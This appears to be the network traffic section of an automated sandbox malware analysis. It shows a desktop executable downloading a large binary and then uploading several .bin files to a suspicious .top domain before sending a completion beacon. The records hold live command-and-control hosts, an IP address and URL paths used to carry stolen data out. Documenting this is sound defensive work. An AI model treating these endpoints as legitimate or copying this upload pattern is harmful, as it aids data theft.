Dec 19, 2024 08:21:18.933779001 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Thu, 19 Dec 2024 07:21:18 GMT Content-Type: application/octet-stream Content-Length: 10816560 Connection: close Content-Disposition: attachment; filename="wmhxbWrMmpOSXnEQUlz;" Last-Modified: Mon, 16 Dec 2024 16:25:22 GMT Cache-Control: no-cache ETag: "1734366322.858812-10816560-3400407440" Data Raw: d5 59 3c ac 4f c5 f6 d3 51 7e 47 47 26 fc 67 8e 84 c9 d0 b9 c8 1a b5 f2 9f 36 58 4e 2a 47 78 b3 71 d6 90 99 2c 75 71 ee 05 07 6f e4 46 9c 81 25 65 1e b9 5c 4c cd 26 06 a2 8a 7f f2 65 9e 16 dd 0a 62 a6 54 b4 af c9 89 f9 fa 9d 0d e0 ee 45 13 e3 62 b4 7a 27 ea 09 83 39 68 2b 57 d4 60 b5 5e e3 8d 8a ca f3 0f 65 59 61 a9 31 84 ec 75 18 9f 24 5a b0 43 dc a9 88 a2 32 72 8c 21 0b 74 3a 35 c1 bb ab 53 27 66 6a 20 e9 40 bb 35 77 dc 6b 55 70 51 7b b4 f9 80 55 0a bb 5b 04 23 b9 54 94 13 ce 2c 0f 64 c3 37 11 71 7d c1 39 1d bd 7e 1d a8 c2 76 08 b7 bb e4 83 f9 ca ca 3f d4 dc a1 68 0b fd 09 4e df f0 a3 4b ae ec 74 e9 a6 d0 f3 8f 73 8f bf ae 9d b3 e6 e5 e8 01 1a e2 90 67 05 cf 14 df 94 91 9a ac 00 db 92 f7 18 9e cd ca 55 e2 d5 d7 f2 87 f7 fa 3e f6 0f 54 99 fb 85 6f 27 8f 0b 94 d4 df 07 de d7 fd d7 24 7d 3b e8 61 d3 13 51 b5 02 12 b2 41 76 6e ac e5 f8 d0 76 a2 58 a0 af b0 ed e4 17 7d e1 24 1c 2f d5 3b 76 8d 8f 0c ad 07 bf 79 f7 c3 7c ae 13 ae 2d b2 54 c1 39 70 46 45 22 5c aa 6d 59 19 8b e5 22 88 83 18 44 c0 92 bf b1 [TRUNCATED] Data Ascii: Y<OQ~GG&g6XNGxq,uqoF%e\L&ebTEbz'9h+W`^eYa1u$ZC2r!t:5S'fj @5wkUpQ{U[#T,d7q}9~v?hNKtsgU>To'$};aQAvnvX}$/;vy\|-T9pFE"\mY"D7kamD}?@ZY m>]De!cYJ<vG}%o$QWP8.jxx%_xHVFC:\Y<,8/w"QQt4ep\6OC)['[VFdN_btA9AF]"e$9&-;( NGU1ht)#i$00_W~W<"]::Uxw[\|yJ~n7isY2_(q8""~@/t1@"n6]rtYukb.]PxC3l&f-KMU;5^>>?eRL?#14rYlG(~ {9Ps!jRn@f^KI/DSLKs4`dX/
Dec 19, 2024 08:21:18.933880091 CET	224	IN	Data Raw: a0 9f b7 ec 69 1f 77 c1 b8 9d b5 6f ff 5c e2 49 9b 40 24 f4 94 2e 6b 10 0a 2a 7d 78 3d a2 5d 2e 64 71 a5 1c fe 68 57 df 5f 96 f6 4c 28 9f 74 29 e4 0e 1d 56 23 c2 6c 8a c0 b4 eb 62 28 4c ee 7b 5a c4 2f e5 ef 72 84 32 e9 e1 08 27 06 4a 55 a3 38 47 Data Ascii: iwo\I@$.k*}x=].dqhW_L(t)V#lb(L{Z/r2'JU8G~FbVp9(C4.BqN%7aNQ4/2M]ur"sTJj6(kD8ctTBHUE:zm[Y26
Dec 19, 2024 08:21:18.934407949 CET	1236	IN	Data Raw: ad 34 aa 23 bf ad 17 e6 2a 10 97 19 92 72 47 53 4c f0 19 5a 9a 9b 85 e6 db f7 f5 55 73 a5 27 d3 b4 54 e4 77 0d e7 83 22 4e c1 4d f8 e4 af 4c 0b ab 1a 54 ad 8d 16 6f af 43 78 89 39 0b bb 8c 4d ba 09 8b e5 dc 59 48 e6 45 66 4b 7d 51 80 62 76 3c 15 Data Ascii: 4#*rGSLZUs'Tw"NMLToCx9MYHEfK}Qbv<2Ul&j6TmZJododF<J%^n?YBWg>{96fr]:,)&2/u\|!\|^X~qV(TkYqK#sgI
Dec 19, 2024 08:21:18.934482098 CET	1236	IN	Data Raw: 7e a3 a2 b8 69 73 67 3f 48 2f 0d a8 bf 56 dc 8d af d6 b2 61 f7 f8 f3 fd 77 21 5f 29 8c ce 3f 9d 2d 90 92 87 6a 25 12 2a ff 4d 26 76 bd 71 86 ba ea 9c 89 13 01 98 9d 0e f3 98 18 94 4f 48 59 58 fa 41 d0 0a 1a c1 86 e0 75 a0 61 ec 3f c9 d1 c5 a8 35 Data Ascii: ~isg?H/Vaw!_)?-j%*M&vqOHYXAua?59l"\rI)R`]Pgg{_''VmA!!ICT0aWJ%rt,@k4M{F>#rM@d[P816\z
Dec 19, 2024 08:21:18.934516907 CET	448	IN	Data Raw: c9 cc c3 19 7b b0 d2 46 b9 b4 20 24 9a d8 ff 55 df 52 db de 94 9a b9 05 e2 22 53 b1 34 6d 3e af e5 be c2 be a5 d9 d2 98 61 ec 6d 1e 76 a9 d9 8b 95 47 da 2e 24 aa aa 52 b9 f9 e5 43 7b 82 ae 34 e5 4d 68 de 13 fb 1f 8f bc 44 8e 32 b7 b3 5f 61 f6 1b Data Ascii: {F $UR"S4m>amvG.$RC{4MhD2_as4-(Y2GG,xyh[`\|hZ:zs;l=7ZGa\|cxgs.4VjHEO!ppU'c_^tu\&ByAOV<S&vFex8on2T7
Dec 19, 2024 08:21:18.936745882 CET	1236	IN	Data Raw: 97 2d 22 f8 24 23 2a a6 8b d6 bf c3 c0 8d 83 b0 9b bd 5b c7 db e4 3a a3 83 53 b0 b7 65 0e f0 32 c5 a1 5c 45 89 a3 a2 e7 d8 80 c1 a1 41 a8 b5 1a b7 02 f5 56 d3 74 c3 55 f7 ef e5 0f c7 21 38 88 a6 11 15 70 37 94 c8 64 55 97 e9 14 2b 82 73 30 c9 a4 Data Ascii: -"$#*[:Se2\EAVtU!8p7dU+s0ZP>fkE#K2@0-rEz z%:WuvORyu.D0y$%X-20jxF6Y9KL.V8bdU/vP_>
Dec 19, 2024 08:21:18.936815023 CET	1236	IN	Data Raw: c7 2e 72 99 ae 39 a7 3f 8e 79 8c 45 2a b4 37 c7 d2 d2 de 55 80 98 ae e4 c3 d3 46 a9 5a 41 a4 9a e2 7b db 07 92 08 52 16 1c d0 0c 4c 15 fe 17 33 2f 4f ea 60 b7 42 33 15 80 7b a3 be f6 ac 63 4a d8 cd 60 e2 b4 0c 29 79 99 9e 60 ba 1a 85 01 94 c5 7d Data Ascii: .r9?yE*7UFZA{RL3/O`B3{cJ`)y`}>2g_ViZMh%58,'XH%dR'yC"mM?Kau{K4T2.M2=rGT2jl=c=53S-&AH1q\
Dec 19, 2024 08:21:18.936852932 CET	448	IN	Data Raw: af 57 a5 1e 15 3b 3b 2b 87 8b 40 7c e4 43 7a 6c 9e 13 a3 da b8 9a 5d 61 a9 62 09 c0 51 e6 22 3e e1 3a 89 1f 05 32 da 0a d0 18 05 ef f5 2b ab 8b 82 70 02 8a 23 5e 23 7c c4 d0 ef 12 ca 88 d8 40 b1 8c 29 8b ef 99 b0 4f 50 ad 80 df 71 e1 cf 48 3d 5f Data Ascii: W;;+@\|Czl]abQ">:2+p#^#\|@)OPqH=_p@akD{6TFEizG`0jUXSaKO0"sZ~"Z(eO*FzV'0+,\|Y@;QcH8O?0W5P:{,&S75U!`EP5DQ>
Dec 19, 2024 08:21:18.940021992 CET	1236	IN	Data Raw: 79 cf 16 71 bf 4b 76 76 3a 63 98 bd af 65 dd e6 6e ba f3 2d 09 72 60 14 69 4d 51 ac 83 38 61 c5 b6 40 18 f7 82 c5 bb b0 60 4a 61 61 69 4a 9b a4 68 b9 8d 83 ca 28 4e ca 15 75 dd fd ac ed c6 7d 11 1e f4 2e ab 22 90 b0 a6 ab e2 7d 20 dd fb 5e 1f 5e Data Ascii: yqKvv:cen-r`iMQ8a@`JaaiJh(Nu}."} ^^nC\|x&TT^Y^xcbd&g~B#am`%oF*q56Q=e:PaX#^@$'/vk,FMjR}lWLvn&_t)f@:
Dec 19, 2024 08:21:18.940140963 CET	1236	IN	Data Raw: df 09 52 0c 8c 14 76 ac cf 96 82 e3 d0 03 fe 64 88 27 97 6b cf 80 c4 47 15 25 9d c4 88 ab f5 e8 2b f0 5f b0 52 54 32 4a 58 39 c8 af 12 3d 34 ad 70 f8 9f 54 63 d7 e0 f6 e3 5d 3f fd 03 26 c9 f2 04 fc 9c 75 d6 6b 7e a4 3f 64 50 85 72 81 a2 4d d6 9f Data Ascii: Rvd'kG%+_RT2JX9=4pTc]?&uk~?dPrM:0IV#ZF;W={&9,.q~%-bsC$yIFFly>{Ss!%wOa8r^I['cBi>sbx4-"1
Dec 19, 2024 08:21:19.053627968 CET	1236	IN	Data Raw: 45 c3 58 f0 b8 d5 43 f4 4f ba 13 ba 7d 06 b9 dc e3 5e 8b c9 10 32 7d 4d c5 64 e0 d8 8e 51 96 ad 84 9d 51 c9 b3 f7 d6 dc 1b 89 81 8a 42 46 82 21 df d7 a5 f2 cc b1 f2 3b b1 6c 3b 9a c8 96 93 6b 6c 89 70 0e 43 69 23 61 49 85 f9 87 66 15 9c c8 b4 3d Data Ascii: EXCO}^2}MdQQBF!;l;klpCi#aIf=r/,?:~oOVu=\m/Sp#.0T\/gOgQgj&7yVV!Vo)c%g&(M@AM($mJ(!`R[%nxe=v 0`~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49782	194.87.47.113	80	7724	C:\Users\user\Desktop\rJvOqHxkuI.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:21:42.039473057 CET	644	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 462 Content-Type: multipart/form-data; boundary=------------------------vX4CsBy8Ybntn4Uk0jptRf Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 76 58 34 43 73 42 79 38 59 62 6e 74 6e 34 55 6b 30 6a 70 74 52 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 65 6d 65 71 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a a6 26 66 88 3b 3f 9c f2 21 f9 19 0f 69 84 7b 5f 39 09 b2 b4 87 e0 b1 f0 a1 68 a8 eb 2f 70 7d 9e 73 f8 5d 63 68 e7 05 5b 26 fd af f6 cd 80 6b b9 a1 f5 57 7a 05 83 7c 29 fa f5 79 b0 45 82 a5 42 23 65 40 30 8b 96 27 28 8e 66 4d 56 d4 55 a0 38 10 7e 4d ca 34 c1 ed ba 0a db c1 63 d2 57 16 78 89 11 c8 f0 a9 d7 1f 53 e8 1c 3f b2 2a d2 86 70 7a 77 92 15 87 cd 84 6c af f1 17 e4 c3 ab 62 0e 20 71 39 ac 7f da 9f f9 5f d6 af d0 37 21 86 b8 0c c3 40 51 20 a6 b0 14 82 86 a3 ea c0 66 7d 4e bb d4 52 c2 3c e2 ea 1e 9e 8a 87 10 cd c1 63 cf 4b 34 [TRUNCATED] Data Ascii: --------------------------vX4CsBy8Ybntn4Uk0jptRfContent-Disposition: form-data; name="file"; filename="Temeqi.bin"Content-Type: application/octet-stream&f;?!i{_9h/p}s]ch[&kWz\|)yEB#e@0'(fMVU8~M4cWxS?pzwlb q9_7!@Q f}NR<cK4+\m``+/t9y-fe7{bU2:knw\|N]u=MX(P--------------------------vX4CsBy8Ybntn4Uk0jptRf--
Dec 19, 2024 08:21:45.171576023 CET	273	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 07:21:44 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 9 X-RateLimit-Reset: 1734593215 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49793	194.87.47.113	80	7724	C:\Users\user\Desktop\rJvOqHxkuI.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:21:46.745538950 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 95146 Content-Type: multipart/form-data; boundary=------------------------ag0psXQRgldIcbbt9Few56 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 61 67 30 70 73 58 51 52 67 6c 64 49 63 62 62 74 39 46 65 77 35 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 48 65 77 75 7a 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a c6 13 c0 d9 8a f9 9f 78 7d 2d 46 9f 92 cd 53 e6 87 dc 1c fc c6 e0 e0 e9 a5 7c 45 2b e5 ba bc 1f b5 48 bf 66 e9 00 37 31 ae fc d2 8d 44 ed df fd 12 25 fd 13 8e 9a 17 52 0a 04 49 fa 17 78 77 0b 16 ab 6f ae ad aa 66 43 f8 b4 33 44 71 72 82 29 ed a3 45 62 51 8a ba 6b ab dd 38 9b 98 e7 64 e4 55 b0 0a 60 52 2b 36 bc c6 5a b2 46 a7 04 5b d7 4b f1 9c 06 3f 53 96 2f 98 0d a7 8b a7 83 7b 84 9f a8 ea 48 77 df 08 8d ef 23 b2 c6 57 e0 43 80 3f 05 1a b5 ba d4 41 32 61 b1 8d 59 d0 36 5a e3 bc 1c c7 44 da 30 18 99 23 22 c5 bb 83 d8 0a 44 a7 32 [TRUNCATED] Data Ascii: --------------------------ag0psXQRgldIcbbt9Few56Content-Disposition: form-data; name="file"; filename="Hewuzo.bin"Content-Type: application/octet-streamx}-FS\|E+Hf71D%RIxwofC3Dqr)EbQk8dU`R+6ZF[K?S/{Hw#WC?A2aY6ZD0#"D2D5N@(/KCUuEfbB}' dN,3j:DG}z0Ez I(>?SRA13pcIGjodc?=MSIsHBRSVk&CRVg}olTj=Qur\'=M@L(5(`l>sI>RD9B8V[F=tSd*PW[%D,<d( 184q]oMD~K' m_zcKScO,fMnpNb#pgCXqfh!BLd(r_{,%KW2}`vPp;b0pCaR=,d3elL+r X"/E~TH6N<z.<:Bu>o[]Pyx,R<oZ`\|f\CzE46cLg+7}H EB!520<`EZ@ [TRUNCATED]
Dec 19, 2024 08:21:46.865243912 CET	4944	OUT	Data Raw: 26 5f e3 b1 19 46 94 ce cb 50 02 e7 ce 3b d1 f1 3c 25 59 7b 78 98 0c e4 15 2c 00 d7 6e 5a 2c 81 e0 1a a6 4b 3f a1 c7 9d 1d da 14 4c 99 8e eb 67 37 a2 53 82 b8 65 d1 09 f4 93 30 a1 3a 70 1c 30 c1 54 ca 06 5c 51 66 11 7f ad 5a 75 91 f3 5f 81 d5 3f Data Ascii: &_FP;<%Y{x,nZ,K?Lg7Se0:p0T\QfZu_?y%In`S[6Toq$v`]h GxP+i],:RM`vvD<JnBW#2Z>11dDX6opl3
Dec 19, 2024 08:21:46.865289927 CET	4944	OUT	Data Raw: 0e 60 b6 de 96 6e 6e b3 d3 5a e4 4b f4 89 38 ea 8b 56 eb 46 f7 a3 b5 4b cd 6c b9 98 7e 65 36 ef 56 f3 0f 7c 6a f7 85 9b e4 28 38 26 19 f8 6f 40 04 98 b3 bd 5d 17 67 4d cf 2c 5c 95 52 4b 5d ae 7d af 1b 35 f5 44 a1 19 5b 25 4b ad 63 79 a2 68 a3 ae Data Ascii: `nnZK8VFKl~e6V\|j(8&o@]gM,\RK]}5D[%KcyhT}]n[<(kV<8-z7wprlj.@\b6JYd[y@:Bbh\|)aX_.6(sq[+ozd(@!EfUoqje^:
Dec 19, 2024 08:21:46.865348101 CET	4944	OUT	Data Raw: ff 28 fa 9f 1e 95 94 24 60 53 4c 62 87 a8 f0 c0 c1 c1 02 10 76 43 65 a2 0e a0 43 10 ae 5c 54 eb 57 fd bc 8e 5c db 66 b9 f0 3e 5b 7f 1f 22 80 c5 61 c7 04 42 73 77 05 79 f7 23 61 d5 0d 14 29 72 6b 5c 8d b5 dc 41 d6 b0 a0 fe 31 af af ab 14 e8 20 1a Data Ascii: ($`SLbvCeC\TW\f>["aBswy#a)rk\A1 pY#(Pak[Z+ G$[zHB;@9]xg Jn3~t,BE@29Waxk>v`_o])NDvpu?j+ehV_!
Dec 19, 2024 08:21:46.865463972 CET	4944	OUT	Data Raw: f2 e4 43 3c b3 48 79 19 ec 41 67 a1 cd 6d 76 4d e7 4f 50 d2 cf a3 ca 68 18 ad 95 57 d0 20 97 89 88 a2 f2 8f d4 d5 71 39 41 bd 01 29 50 b7 74 c5 f4 e2 ef a0 54 6b 23 e4 de 2b 35 94 a1 28 fd a2 17 b5 74 77 b8 e1 51 71 a8 84 66 c8 65 ff b8 cf ca ec Data Ascii: C<HyAgmvMOPhW q9A)PtTk#+5(twQqfeY+~YD+EU"M8eo*3'+2,wT,4J6q1f,Wn%}Z[TO{qL#nsAN Wb]_$Rp@jVC"},
Dec 19, 2024 08:21:46.865530968 CET	4944	OUT	Data Raw: 4b 40 0f 6c ce 2e 4e a6 e2 81 00 e2 24 d8 54 9a 30 72 80 5a 9a 96 f9 da 0d e9 ae 00 77 fc aa e8 fe 22 9d b5 00 a6 33 ba 30 d3 7f 38 c4 f5 57 8b 7e 4c c4 de 1c f8 45 ef 0f 1a 9d 7f 5d 5c cd df 3d 74 6f 35 c8 74 bf f2 db 60 46 1c d0 0c c6 cf 60 74 Data Ascii: K@l.N$T0rZw"308W~LE]\=to5t`F`tj>^:O0bECVkl^0wB=E2f\|sa.qYHD@vp}pc\|y]_!FtoRQK8I9QYED.oI=V{/w
Dec 19, 2024 08:21:46.985280991 CET	2472	OUT	Data Raw: b7 b2 dc 84 c7 d0 78 e4 49 75 f0 bb 9c c1 bc a2 fc 79 49 b7 51 ab 05 87 51 90 87 d7 21 20 7e 16 67 05 c5 c6 5e 3b 02 ab 57 24 76 09 b7 b8 09 0e 0a af 58 a8 83 08 8d db 8d a8 f6 fa eb c6 9e 51 bf 79 d2 90 3c e6 85 35 dc a7 51 86 bb 31 18 19 b1 2d Data Ascii: xIuyIQQ! ~g^;W$vXQy<5Q1-F{d`K0kWlNk"=Rn[+)*{)Jzff0u8_Db#XcLQ)WoXfIi4nvXh\|Fmby^\|Y
Dec 19, 2024 08:21:46.985341072 CET	2472	OUT	Data Raw: 0c 03 71 0b af 27 aa 08 5e b9 db 74 8a 64 02 c4 57 56 23 bf 84 04 86 0f e2 56 c2 19 e9 d2 20 01 d9 5e b2 2f 34 1c 81 8d bf 26 43 cc e3 39 c5 96 a2 be 7b 53 39 06 80 ff f1 30 9b de 15 cd 2b 92 37 a4 e8 55 54 37 79 4f ec 16 b2 8a 81 75 f4 a4 9e a3 Data Ascii: q'^tdWV#V ^/4&C9{S90+7UT7yOuf~l<O?'=N3&I63_Y;D8$1?T/[%^{zf\_f{bJP_r}"aJ,"SIfGK6&%#b(o0k.L_;
Dec 19, 2024 08:21:46.985373974 CET	2472	OUT	Data Raw: 7b 2e a6 90 b2 39 b9 20 38 7e 87 e9 d0 ba 1e 09 67 61 56 a9 a8 e9 08 f2 ff ee 86 29 b6 00 b2 57 b8 e9 10 6b e0 f5 7f 5d 7e b4 7b 98 8d e3 96 b4 0c 31 52 f3 54 dd a4 11 4a 34 4f 6e af 58 41 55 fd 33 90 a3 76 22 97 6f 60 a0 1a 91 fd 19 e0 06 51 15 Data Ascii: {.9 8~gaV)Wk]~{1RTJ4OnXAU3v"o`QU5A&jhy,#F?2wHaDa5M^5O$mJBi&HUf5 (\m*GpT^"nNuL[BR:#N>aQC( R_&zY?pv;
Dec 19, 2024 08:21:46.985424042 CET	2472	OUT	Data Raw: 20 a0 4c ff 31 6d e3 e9 a7 bc 9d 48 72 ee 47 77 15 b8 4b ef 8d 26 16 70 95 41 76 c2 8f 4a a7 49 be d6 ac 11 4d cf 47 fd 43 83 a2 b5 85 a4 71 d7 ad 3f e9 6d 25 93 b3 df 89 49 34 c9 14 c1 99 c9 a1 e6 89 a5 d2 15 b2 ff 3c 76 39 d7 63 79 0a b5 b1 32 Data Ascii: L1mHrGwK&pAvJIMGCq?m%I4<v9cy2n\|r#3xkGmP'E.Y~aOtHK~2IeEcG~t^JF{MKF]MK?^p+,]TR6 MQJ{x$Kfd d\|Q6w$RdqpG!G&M]
Dec 19, 2024 08:21:46.985491037 CET	2472	OUT	Data Raw: 62 92 6b 3e 79 1d 45 92 cd b1 cd 77 8f 33 20 dc 19 f5 2b e2 79 24 15 25 30 04 93 9c f7 aa 99 cf a7 f8 b7 9d 46 c1 4f 53 dd e5 47 57 57 c8 9e c9 f7 0c 95 be 3a 12 d1 8f 8b 1f 9c 89 b3 8d c5 7b 83 70 59 b8 3a 06 6d 7f fe 49 e9 82 c8 b2 f8 a1 18 69 Data Ascii: bk>yEw3 +y$%0FOSGWW:{pY:mIi}f]ZS`4[I'{u/WwECEXke F`NJ`](R%JY4wsM;4R`LVO#/sC)MBJ"rvj&H/n<za=V);TF6M
Dec 19, 2024 08:21:48.899780989 CET	273	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 07:21:48 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 8 X-RateLimit-Reset: 1734593215 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49827	194.87.47.113	80	7724	C:\Users\user\Desktop\rJvOqHxkuI.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:21:55.501024961 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 30348 Content-Type: multipart/form-data; boundary=------------------------PE1yitKcRkpP3q3AKF5txs Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 45 31 79 69 74 4b 63 52 6b 70 50 33 71 33 41 4b 46 35 74 78 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 51 69 72 75 6c 75 6b 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ab ae 6e 39 e8 91 79 57 8e b5 61 12 5f 02 37 1f fe 11 07 df 3a 18 e9 03 66 b5 c4 70 24 c6 48 f3 f8 d4 1a 84 13 2c ac 84 59 a0 aa 47 aa f4 8d 9f 64 4a 0d 38 e2 c5 5e f2 7f a5 88 85 36 0a ce ea 3f 7e 43 81 eb e3 67 2c b9 79 18 22 a1 c8 8d ab 74 74 1b c9 31 56 e2 1b 90 3f a3 c7 f6 2b 08 aa 4c 75 0e 3b ae 3f c6 6c bd 0c b2 29 6b 96 be a5 3a 60 7a 4c 2c 11 12 47 14 5c af eb 1f 68 71 a9 58 cb 45 92 83 a9 37 54 57 b4 15 36 28 ea a8 cd 9b fb 11 9b 46 17 ce cc 95 30 60 cc a9 97 b7 4a 07 67 3f c7 a0 ba 69 f4 19 20 d4 72 22 42 e3 af [TRUNCATED] Data Ascii: --------------------------PE1yitKcRkpP3q3AKF5txsContent-Disposition: form-data; name="file"; filename="Qiruluke.bin"Content-Type: application/octet-streamn9yWa_7:fp$H,YGdJ8^6?~Cg,y"tt1V?+Lu;?l)k:`zL,G\hqXE7TW6(F0`Jg?i r"BAM$Y:}Aa>$7~TFNG>njdw7!9?As\PaUp!0T+!cdN^>3>1pZs,zwjZq\.4i'$hAzw,RAS>f03-9pn;r\|a{c#2pUbe!`)_4{)XqUj:*Qof~=<z4ZK+M! <iiUMM8fe%S)H=FX~ZoXxr^r="K:We&.!O}I27K).@&n @/f1SLp(\|4 IVn}^gS%IJ.1R7v]XXxdWbOr'hf8M^thI\ghIe(/kpt@KzD,oFLvYb!wxIt8<~kWRt+#p7L`hg'($}!vwN{%?A [TRUNCATED]
Dec 19, 2024 08:21:55.620963097 CET	7416	OUT	Data Raw: 00 94 52 57 f5 5c 5f 26 8b 62 61 e8 ce 15 04 89 cd 08 10 86 32 e0 f7 9b f6 87 63 71 6a 91 56 c2 9a d5 d3 2f 5d 33 5f 5f 36 63 b6 70 be 62 c6 3b 6b 10 49 96 b4 5d 07 88 25 f1 4f d8 76 7f c8 43 be 21 40 9c 9b 36 09 88 96 45 10 ed 43 47 9a 76 fe 9e Data Ascii: RW\_&ba2cqjV/]3__6cpb;kI]%OvC!@6ECGvC'C>b0!%0%3,y-3. Qs@OE8Z$QB<'i3]TeKeMBZ0Nr(B=:cIyM
Dec 19, 2024 08:21:55.621004105 CET	4944	OUT	Data Raw: 02 09 1a 50 36 dc c7 7d d0 9a ab 97 5e 24 6d 49 99 e7 61 37 e1 79 50 24 07 0d 72 86 b2 a2 35 e8 f7 08 5a 15 28 7d 55 59 71 d5 c9 4b a9 8a f4 f2 74 3e 44 12 2b 9b 12 c8 42 c1 cc a5 0a 37 3f bf 82 8a 64 30 e1 aa 2b 13 b0 41 43 3b a0 26 f9 be 40 31 Data Ascii: P6}^$mIa7yP$r5Z(}UYqKt>D+B7?d0+AC;&@1B8mt&7^3Y;>T\"{MtgI]qDaLvhl+<L?a^: oKIM,y}u2$?
Dec 19, 2024 08:21:55.621052027 CET	2472	OUT	Data Raw: 3a d0 2f 27 81 45 e2 50 de 6a 4a 17 0c 11 8e 36 e3 c1 e6 85 dc 6c d8 88 99 f9 1e 94 f1 60 c5 ee 2a d4 12 40 10 6c a1 5d 7c a5 74 4b 8e 1d 5a 9e 86 b9 b9 02 7a 07 d9 8e d3 a5 4e 5f 69 71 f4 df a6 0f 93 6f 60 89 df df c9 f7 30 87 84 be 10 04 93 52 Data Ascii: :/'EPjJ6l`@l]\|tKZzN_iqo`0R#:?qI;ZVk%j874N!;Qm)p_96W]*bGJ%$zOpDpz.bHnq<!2~<xr-DSu{lZKiDn.
Dec 19, 2024 08:21:55.621073008 CET	2472	OUT	Data Raw: fc e2 c9 cc 19 0f 74 f1 06 29 7d 39 44 f6 9c fc c9 df 2e 80 23 14 a0 53 8c e5 24 7d e7 8c 0a fa db aa da 6f d4 1d 1c 59 95 ab 50 b5 29 c7 36 9e e7 83 5d 0a 5e 75 f7 cc b6 d6 66 37 1c 4b 42 4b 5b b8 d6 46 ec 8e 86 ed 90 83 f6 d4 97 f1 99 3c 73 b7 Data Ascii: t)}9D.#S$}oYP)6]^uf7KBK[F<stV>kq*/7%gxxDkQ]:p$O3oLc1)a/Wu\|%[>k9OTHPz6{)i9\`=c$sL#7F:Bht&U8{?;$y9
Dec 19, 2024 08:21:55.621259928 CET	868	OUT	Data Raw: e9 c1 58 20 ee a0 2f 97 53 32 13 dc 1a 8c c7 8f 21 2f e1 93 4e c8 56 b6 7a 6e c5 16 ed c3 fe c9 8f f7 48 58 77 ba 81 de ae a7 f8 e2 93 9f e0 62 46 d3 89 d3 68 dc aa 5e 9d e0 35 ef 84 ef 03 7b 46 c4 a6 f0 3b c4 d7 16 0a e4 73 bc d6 56 3f 1c 7e a9 Data Ascii: X /S2!/NVznHXwbFh^5{F;sV?~<piv_oj)2%9R~NS5VOO+0NY?NFYIG;U6( 4cWR#VoPfE-6^GF1eN*t${?Pkq-G&\|%=
Dec 19, 2024 08:21:57.179228067 CET	273	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 07:21:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 7 X-RateLimit-Reset: 1734593215 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49833	194.87.47.113	80	7724	C:\Users\user\Desktop\rJvOqHxkuI.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:21:58.462795019 CET	199	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 56 Data Raw: 7b 20 22 69 64 31 22 3a 20 22 75 37 56 74 4e 4c 79 6a 71 66 67 61 4b 30 50 74 31 37 33 34 35 39 32 38 37 35 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "u7VtNLyjqfgaK0Pt1734592875", "data": "Done2" }
